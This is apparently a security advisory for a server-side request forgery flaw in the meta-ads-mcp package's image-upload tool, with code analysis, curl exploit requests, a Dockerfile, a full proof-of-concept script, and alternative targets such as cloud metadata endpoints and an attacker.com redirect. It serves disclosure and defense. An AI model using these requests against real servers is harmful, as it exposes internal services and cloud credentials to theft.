PT-2026-64095 · Pypi · Meta-Ads-Mcp
Publicado
2026-07-23
·
Atualizado
2026-07-23
CVSS v3.1
8.3
Alta
| Vetor | AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L |
Server-Side Request Forgery (SSRF) in upload ad image via Unrestricted image url Fetch
Summary
The
upload ad image MCP tool in meta-ads-mcp v1.0.113 passes an attacker-controlled image url parameter directly to an HTTP fetch helper (httpx.AsyncClient(follow redirects=True).get(url)) without any scheme, host, or IP address validation. When the server is deployed with the streamable-http transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including http://127.0.0.1/, RFC 1918 addresses, or cloud metadata endpoints such as http://169.254.169.254/—and cause the server to issue an outbound HTTP request to that target. The Authorization middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs after the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).Details
Source
meta ads mcp/core/ads.py, line 1316–1322: The MCP tool upload ad image is registered with @mcp server.tool() and exposes image url: Optional[str] as a direct tool argument that is fully attacker-controlled over the network.python
# meta ads mcp/core/ads.py
1316: @mcp server.tool()
1318: async def upload ad image(
1322: image url: Optional[str] = None,Propagation
meta ads mcp/core/ads.py, line 1389: The value is forwarded to try multiple download methods(image url) without any sanitization or validation.python
# meta ads mcp/core/ads.py
1389: image bytes = await try multiple download methods(image url)Sinks
meta ads mcp/core/utils.py contains three independent HTTP fetch paths, all using httpx.AsyncClient with follow redirects=True and no URL, host, or IP validation:python
# meta ads mcp/core/utils.py
166: async with httpx.AsyncClient(follow redirects=True, timeout=30.0) as client:
168: response = await client.get(url, headers=headers)
214: async with httpx.AsyncClient(follow redirects=True) as client:
215: response = await client.get(url, headers=headers, timeout=30.0)
224: async with httpx.AsyncClient(follow redirects=True) as client:
228: response = await client.get(url, timeout=30.0)Authorization bypass
meta ads mcp/core/http auth integration.py, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in meta ads mcp/core/api.py:415) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.Absence of sanitization
A search for
urlparse, urlsplit, ipaddress, localhost, 127.0.0.1, 169.254, private, allowlist, blocklist, or is global in meta ads mcp/core/ads.py and meta ads mcp/core/utils.py returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.Transport exposure
meta ads mcp/core/server.py, line 219: The --transport streamable-http mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.PoC
Environment setup
bash
# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)
docker build -f vuln-001/Dockerfile
-t meta-ads-ssrf-poc
reports/pypiAi 615 pipeboard-co meta-ads-mcp/
docker run --rm meta-ads-ssrf-poc
# Exit code 0 = SSRF confirmedManual reproduction (two terminals)
bash
# Terminal 1 — SSRF capture listener on port 9009
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do GET(self):
print("SSRF GET", self.path, flush=True)
body = b"xffxd8xffxe0x00x10JFIFx00x01x01x00x00x01x00x01x00x00xffxd9"
self.send response(200)
self.send header("Content-Type", "image/jpeg")
self.send header("Content-Length", str(len(body)))
self.end headers()
self.wfile.write(body)
HTTPServer(("127.0.0.1", 9009), H).serve forever()
PY
# Terminal 2 — start the vulnerable MCP server
META APP ID=dummy META APP SECRET=dummy
python3 -m meta ads mcp --transport streamable-http --host 0.0.0.0 --port 8080Exploit request
bash
# 1. Initialize MCP session
curl -sS -X POST http://127.0.0.1:8080/mcp
-H "Content-Type: application/json"
-H "Accept: application/json, text/event-stream"
-H "Authorization: Bearer dummy-token"
-d '{"jsonrpc":"2.0","method":"initialize","id":0,"params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
# 2. Send SSRF payload — image url points to internal listener
curl -sS -X POST http://127.0.0.1:8080/mcp
-H "Content-Type: application/json"
-H "Accept: application/json, text/event-stream"
-H "Authorization: Bearer dummy-token"
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"id": 1,
"params": {
"name": "upload ad image",
"arguments": {
"account id": "act 123456789",
"image url": "http://127.0.0.1:9009/poc.jpg"
}
}
}'Expected result
Terminal 1 prints:
SSRF GET /poc.jpgThe
curl response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound GET /poc.jpg request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.Confirmed runtime evidence (from Docker run)
[SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0'
[PASS] SSRF CONFIRMED — MCP server issued 1 request(s) to 127.0.0.1:9009
-> GET /poc.jpg | User-Agent: 'curl/8.4.0'Alternative targets
Replace
http://127.0.0.1:9009/poc.jpg with:http://169.254.169.254/latest/meta-data/— cloud instance metadata (AWS/GCP/Azure)http://10.0.0.1/— RFC 1918 internal network serviceshttp://attacker.com/redirect— a public URL that redirects to an internal target (exploitable viafollow redirects=True)
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC
tools/call request to the MCP HTTP endpoint—using any non-empty Bearer token string—can instruct the server to make arbitrary outbound HTTP GET requests, including to:- Localhost services: databases, admin panels, internal APIs, and other processes bound to
127.0.0.1on the host - RFC 1918 / private network addresses: internal microservices, Kubernetes control planes, cloud-internal load balancers
- Cloud instance metadata endpoints:
http://169.254.169.254/(AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets - Redirect-chained internal targets: any internal host reachable via a public-to-private redirect, because
follow redirects=Trueis set on all three fetch paths without re-validation at each hop
The SSRF fires before Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).
Operators deploying
meta-ads-mcp with --transport streamable-http in environments co-located with sensitive internal services or cloud metadata services are directly at risk.Reproduction artifacts
Dockerfile
dockerfile
FROM python:3.11-slim
# Install system build dependencies
RUN apt-get update &&
apt-get install -y --no-install-recommends gcc &&
rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Install pip and uv for fast dependency installation
RUN pip install --upgrade pip && pip install uv
# Install Python dependencies from the cloned repo
COPY repo/requirements.txt .
RUN uv pip install --system -r requirements.txt
# Copy the full application source (cloned repo)
COPY repo/ .
# Install the package in editable mode (no extra deps, already installed above)
RUN pip install --no-deps -e .
# Copy the PoC exploit script into the image
COPY vuln-001/poc.py /poc.py
# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error
CMD ["python3", "/poc.py"]poc.py
python
#!/usr/bin/env python3
"""
Proof-of-Concept: SSRF via upload ad image image url in meta-ads-mcp v1.0.113
CWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)
Attack flow:
1. Attacker sends tools/call for upload ad image with image url="http://127.0.0.1:9009/poc.jpg"
2. MCP server calls try multiple download methods(image url) with no URL validation
3. httpx.AsyncClient(follow redirects=True).get("http://127.0.0.1:9009/poc.jpg") fires
4. SSRF listener records the inbound GET, proving the server issued the request
Authorization bypass: only a non-empty Bearer token string is required before the fetch;
the actual Meta API credential check happens after the image download.
"""
import threading
import subprocess
import time
import json
import sys
import socket
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
import httpx
# ── Configuration ─────────────────────────────────────────────────────────────
SSRF PORT = 9009 # Port for the SSRF capture listener
MCP PORT = 8080 # Port for the vulnerable MCP server
SSRF PATH = "/poc.jpg" # Path that the MCP server will request (SSRF indicator)
# ── Shared state ──────────────────────────────────────────────────────────────
ssrf hits: list = []
ssrf lock = threading.Lock()
# ── SSRF capture listener ─────────────────────────────────────────────────────
class SSRFCaptureHandler(BaseHTTPRequestHandler):
"""Records every inbound GET request made by the vulnerable MCP server."""
def do GET(self):
hit = {
"method": "GET",
"path": self.path,
"host": self.client address[0],
"user agent": self.headers.get("User-Agent", ""),
}
with ssrf lock:
ssrf hits.append(hit)
print(
f"[SSRF LISTENER] Received GET {self.path!r}"
f" from {self.client address[0]}"
f" | User-Agent: {hit['user agent']!r}",
flush=True,
)
# Return a minimal valid JPEG so the server processes the response
body = (
b"xffxd8xffxe0x00x10JFIFx00x01x01x00x00x01x00x01x00x00"
b"xffxd9"
)
self.send response(200)
self.send header("Content-Type", "image/jpeg")
self.send header("Content-Length", str(len(body)))
self.end headers()
self.wfile.write(body)
def log message(self, fmt, *args):
pass # Suppress default access log to keep output clean
def start ssrf listener() -> None:
server = HTTPServer(("127.0.0.1", SSRF PORT), SSRFCaptureHandler)
server.serve forever()
# ── Helpers ───────────────────────────────────────────────────────────────────
def wait for port(host: str, port: int, timeout: float = 30.0) -> bool:
"""Poll until the TCP port is accepting connections or timeout expires."""
deadline = time.time() + timeout
while time.time() < deadline:
try:
with socket.create connection((host, port), timeout=1.0):
return True
except (ConnectionRefusedError, OSError):
time.sleep(0.5)
return False
def mcp post(
method: str,
params: dict,
req id: int,
session id: str | None = None,
) -> httpx.Response:
"""Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.
Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp
with HTTP 307, so we skip the redirect by targeting the canonical path directly.
Accept header must include text/event-stream; without it the server returns 406.
"""
headers = {
"Content-Type": "application/json",
# MCP streamable-HTTP requires both JSON and SSE in Accept; omitting
# text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.
"Accept": "application/json, text/event-stream",
# Dummy Bearer token — the middleware only checks that it is non-empty;
# Meta API credential validation happens AFTER the image download (SSRF sink).
"Authorization": "Bearer dummy-ssrf-poc-token",
}
if session id:
headers["Mcp-Session-Id"] = session id
payload = {"jsonrpc": "2.0", "method": method, "id": req id, "params": params}
with httpx.Client(timeout=30.0) as client:
return client.post(
f"http://127.0.0.1:{MCP PORT}/mcp", # no trailing slash
json=payload,
headers=headers,
)
# ── Main PoC ──────────────────────────────────────────────────────────────────
def main() -> int:
print("=" * 65, flush=True)
print("VULN-001 PoC — SSRF in meta-ads-mcp upload ad image (v1.0.113)", flush=True)
print("CWE-918 | CVSS 8.3 | image url fetch has zero URL validation", flush=True)
print("=" * 65, flush=True)
# ── Step 1: Start the SSRF capture listener ────────────────────────────
t = threading.Thread(target=start ssrf listener, daemon=True)
t.start()
time.sleep(0.3)
print(f"[+] SSRF capture listener running on 127.0.0.1:{SSRF PORT}", flush=True)
# ── Step 2: Start the vulnerable MCP server ────────────────────────────
env = os.environ.copy()
# Dummy credentials so the server starts; the Meta API is only called after
# the image has already been fetched (i.e., after the SSRF fires).
env.setdefault("META APP ID", "poc-dummy-app-id")
env.setdefault("META APP SECRET", "poc-dummy-secret")
env.setdefault("PIPEBOARD API TOKEN", "")
proc = subprocess.Popen(
[
sys.executable, "-m", "meta ads mcp",
"--transport", "streamable-http",
"--host", "127.0.0.1",
"--port", str(MCP PORT),
],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
env=env,
cwd="/app",
)
print(f"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP PORT} ...", flush=True)
# ── Step 3: Wait for server readiness ─────────────────────────────────
if not wait for port("127.0.0.1", MCP PORT, timeout=30):
try:
out, = proc.communicate(timeout=5)
except subprocess.TimeoutExpired:
out = ""
print(f"[FAIL] MCP server did not start within 30 s.
Server output:
{out}", flush=True)
return 2
print(f"[+] MCP server is up on 127.0.0.1:{MCP PORT}", flush=True)
time.sleep(0.5)
# ── Step 4: MCP protocol initialization ───────────────────────────────
# The streamable-HTTP transport requires a brief initialize / initialized
# handshake before accepting tool calls.
session id = None
try:
resp = mcp post(
"initialize",
{
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "ssrf-poc", "version": "1.0"},
},
req id=0,
)
print(f"[*] initialize -> HTTP {resp.status code}", flush=True)
session id = resp.headers.get("Mcp-Session-Id")
if session id:
print(f"[*] Session ID: {session id}", flush=True)
notif headers = {
"Content-Type": "application/json",
"Authorization": "Bearer dummy-ssrf-poc-token",
"Mcp-Session-Id": session id,
}
notif payload = {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {},
}
with httpx.Client(timeout=10.0) as client:
nr = client.post(
f"http://127.0.0.1:{MCP PORT}/mcp", # no trailing slash
json=notif payload,
headers=notif headers,
)
print(f"[*] notifications/initialized -> HTTP {nr.status code}", flush=True)
except Exception as exc:
print(f"[*] Initialization step error (non-fatal): {exc}", flush=True)
# ── Step 5: Send the SSRF exploit payload ─────────────────────────────
ssrf url = f"http://127.0.0.1:{SSRF PORT}{SSRF PATH}"
print(f"
[*] Sending exploit request ...", flush=True)
print(f" method : tools/call", flush=True)
print(f" tool : upload ad image", flush=True)
print(f" image url : {ssrf url} <-- SSRF payload", flush=True)
print(f" Authorization : Bearer dummy-ssrf-poc-token (not validated before fetch)", flush=True)
try:
resp = mcp post(
"tools/call",
{
"name": "upload ad image",
"arguments": {
"account id": "act 123456789",
"image url": ssrf url,
},
},
req id=1,
session id=session id,
)
print(f"
[*] tools/call -> HTTP {resp.status code}", flush=True)
print(f"[*] Response preview (first 400 chars):
{resp.text[:400]}", flush=True)
except Exception as exc:
print(f"[*] tools/call exception: {exc}", flush=True)
# ── Step 6: Allow time for async fetch to complete ────────────────────
time.sleep(4)
proc.terminate()
# ── Step 7: Evaluate and report ───────────────────────────────────────
print("
" + "=" * 65, flush=True)
with ssrf lock:
hits = list(ssrf hits)
if hits:
print(
f"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to"
f" 127.0.0.1:{SSRF PORT}",
flush=True,
)
for h in hits:
print(
f" -> {h['method']} {h['path']}"
f" | User-Agent: {h['user agent']!r}",
flush=True,
)
print(
"
Conclusion: upload ad image passes attacker-controlled image url to"
" httpx.AsyncClient(follow redirects=True).get(url) without any scheme,"
" host, or IP validation. Internal services are reachable via SSRF.",
flush=True,
)
print("=" * 65, flush=True)
return 0
else:
print(
f"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF PORT}.",
flush=True,
)
print("=" * 65, flush=True)
return 1
if name == " main ":
sys.exit(main())Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Meta-Ads-Mcp